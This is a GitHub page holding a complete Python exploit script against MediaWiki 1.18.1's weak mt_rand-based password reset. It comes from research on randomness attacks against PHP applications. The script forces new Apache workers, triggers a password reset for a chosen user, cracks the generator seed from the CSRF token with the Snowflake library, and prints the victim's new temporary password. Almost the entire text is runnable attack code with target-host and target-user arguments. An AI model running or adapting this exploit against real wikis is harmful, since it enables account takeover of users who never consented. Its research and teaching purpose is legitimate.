Skip to content

HTTPS clone URL

Subversion checkout URL

You can clone with
or
.
Download ZIP
branch: master
@GeorgeArgyros
executable file 234 lines (176 sloc) 7.782 kB
#! /usr/bin/python
"""
Mediawiki 1.18.1 weak randomness exploit
Author: George Argyros (argyros.george@gmail.com)
This code exploits a weak randomness vulnerability in mediawiki 1.18.1 although
a number of other versions are also vulnerable.
The vulnerability lies in the fact that mediawiki uses mt_rand in order to
generate the temporary passwords in case a user wants to reset his password.
This make the application vulnerable to attacks that predict the output of
mt_rand under mod_php installations. For more information check the paper
"I Forgot Your Password: Randomness Attacks Against PHP Applications".
Some specific things for this exploit:
Although I took some care when writing this, you can consider it more of a POC
rather than an exploit to be used in the wild. I had tested this only in one
system altough it should probably work in any mod_php installation when the
proper parameters are passed.
Porting this to other versions of mediawiki should be straightforward. The only
thing that might change is the two offset variables, which declare the number
of mt_rand outputs we need to skip when we bruteforce the CSRF token and when
we generate the target user's password.
The main purpose of this exploit is to serve as a code tutorial for writing
randomness exploits against PHP applications and for using the python interface
of the snowflake framework. So, read the code and enjoy!
"""
from binascii import unhexlify
from httplib import HTTPConnection
from urllib import urlencode
from re import search,sub
from socket import *
import argparse
import hashlib
from snowflake import Snowflake, MtRand
TOKEN_OFFSET=4
PASSWORD_OFFSET = 44 - TOKEN_OFFSET - 2
def generateLoginToken( gen, skip = TOKEN_OFFSET ):
"""
Generates a Login token as generated from the
mediawiki application using the mt_rand generator
gen.
"""
for i in range(skip):
gen.phpMtRand()
m = hashlib.md5()
t = '%x%x' % (gen.phpMtRand(), gen.phpMtRand())
m.update(str(t))
return m.hexdigest()
def generatePassword( gen, skip = PASSWORD_OFFSET ):
"""
Generates a random password using the mt_rand generator gen
using the same algorithm as mediawiki.
"""
# Skip a number of phpMtRand calls...
for i in range(skip):
gen.phpMtRand(0, 100)
pwchars = 'ABCDEFGHJKLMNPQRSTUVWXYZabcdefghjkmnpqrstuvwxyz';
l = len(pwchars) - 1;
pwlength = 7
digit = gen.phpMtRand( 0, pwlength - 1 );
np = ''
for i in range(pwlength):
np += chr( gen.phpMtRand( 48, 57 ) ) if (i == digit) else \
pwchars[gen.phpMtRand( 0, l)]
return np
def spawnNewApacheProcesses( conNum, host, port = 80):
"""
create the necessary connections in order for a new process to be
spawn in apache.
"""
request = 'GET / HTTP/1.1\r\nHost: %s\r\nConnection: Keep-Alive\r\n\r\n' \
% host
sockList = []
for i in range(conNum):
s = socket(AF_INET, SOCK_STREAM)
s.connect((host, port))
s.send(request)
sockList.append(s)
return sockList
def closeNewApacheConnections( sockList ):
"""
Closes the opened connections.
"""
for s in sockList:
s.close()
return
def extractLoginToken( data ):
"""
Extract the login CSRF token from the page
"""
m = search('name="wpLoginToken" value="(?P<tokenValue>\w+)"', data)
return None if m == None else m.group('tokenValue')
def makePasswordResetRequest( host, path, targetUser, port=80 ):
"""
Make the password reset requests for users in accounts list
"""
loginPage = path + '/index.php?title=Special:UserLogin'
passResetPage = path +'/index.php/Special:PasswordReset'
headers = {"Content-type": "application/x-www-form-urlencoded", "Connection" : "Keep-Alive"}
con = HTTPConnection(host, port)
cookie = None
# 1st request extracts the CSRF token which is used to recover mt_rand seed
con.request( 'GET', loginPage, '', headers=headers )
resp = con.getresponse()
data = resp.read()
token = extractLoginToken( data )
if not token:
return None
# Use the token and the obtain cookie to submit a password reset request
# for the target user.
cookie = resp.getheader('Set-Cookie')
cookie = cookie[:cookie.find(';')]
headers['Cookie'] = cookie
# Submit the password reset form
params = {'wpUsername' : targetUser, 'wpEditToken':'+\\',
'title' : 'Special:PasswordReset',
'redirectparams' : '' }
con.request( 'POST', passResetPage, urlencode(params), headers )
#data = con.getresponse().read() # To keep alive the connection
con.close()
return token
def parseArguments():
parser = argparse.ArgumentParser(
description='mediawiki 1.18.1 weak randomness - password reset exploit',
epilog='Because randomness is not easy to achieve.')
parser.add_argument('--host', action='store', dest='host',
help='target hostname', required=True)
parser.add_argument('--path', action='store', dest='path', type=str,
default='/', help='path to the target wiki')
parser.add_argument('--user', action='store', dest='user',
help='User to attack', required=True)
parser.add_argument('--proc', action='store', dest='proc', default=15,
type=int, help='Expected number of apache workers')
parser.add_argument('--port', action='store', dest='port', type=int,
default=80, help='Port in which Apache is listening')
parser.add_argument('--table', action='append', dest='tables', type=str,
default=[], help='Rainbow tables to use')
parser.add_argument('--clib', action='store', dest='clib', type=str,
default=None, help='path to cracklib')
parser.add_argument('--hash', action='store', dest='hashFunc', type=str,
default='wikihash', help='hash function name')
args = parser.parse_args()
if not args.hashFunc and len(args.tables) == 0:
parser.error('You need to define a hash function or a rainbow table to use')
# Urls with multiple slashes will fail in mediawiki
args.path = sub('/*$', '', args.path)
return args
def main():
args = parseArguments()
print '[+] Forcing creation of new apache process.'
conList = spawnNewApacheProcesses( args.proc, args.host )
print '[+] Connecting to make the password reset requests.'
token = makePasswordResetRequest(args.host, args.path, args.user, args.port)
closeNewApacheConnections( conList )
print'[+] Password reset request completed.'
print '[+] Token hash: %s' % (token)
print '[+] Inverting hash using snowflake.'
# Found the Hash, now lookit up in the rainbow tables if they exist
# or else crack it on spot.
clib = None if not args.clib else args.clib
flake = Snowflake(clib)
seed = flake.oneWayOrAnother(unhexlify(token), args.tables, args.hashFunc)
if not seed:
print '[-] Seed was not found. :-('
return 1
print '[+] Seed is 0x%x! Verifying and producing password.' % seed
gen = MtRand(True)
gen.mtSrand(seed)
# Check if the seed that we found indeed generated the token obtained
if token != generateLoginToken(gen):
print '[-] Something went wrong. The token does not match. :-('
return 1
# Victory!
passwd = generatePassword(gen)
print '[+] Password generated for user %s is %s' % (args.user, passwd)
return 0
if __name__ == '__main__':
main()
Jump to Line
Something went wrong with that request. Please try again.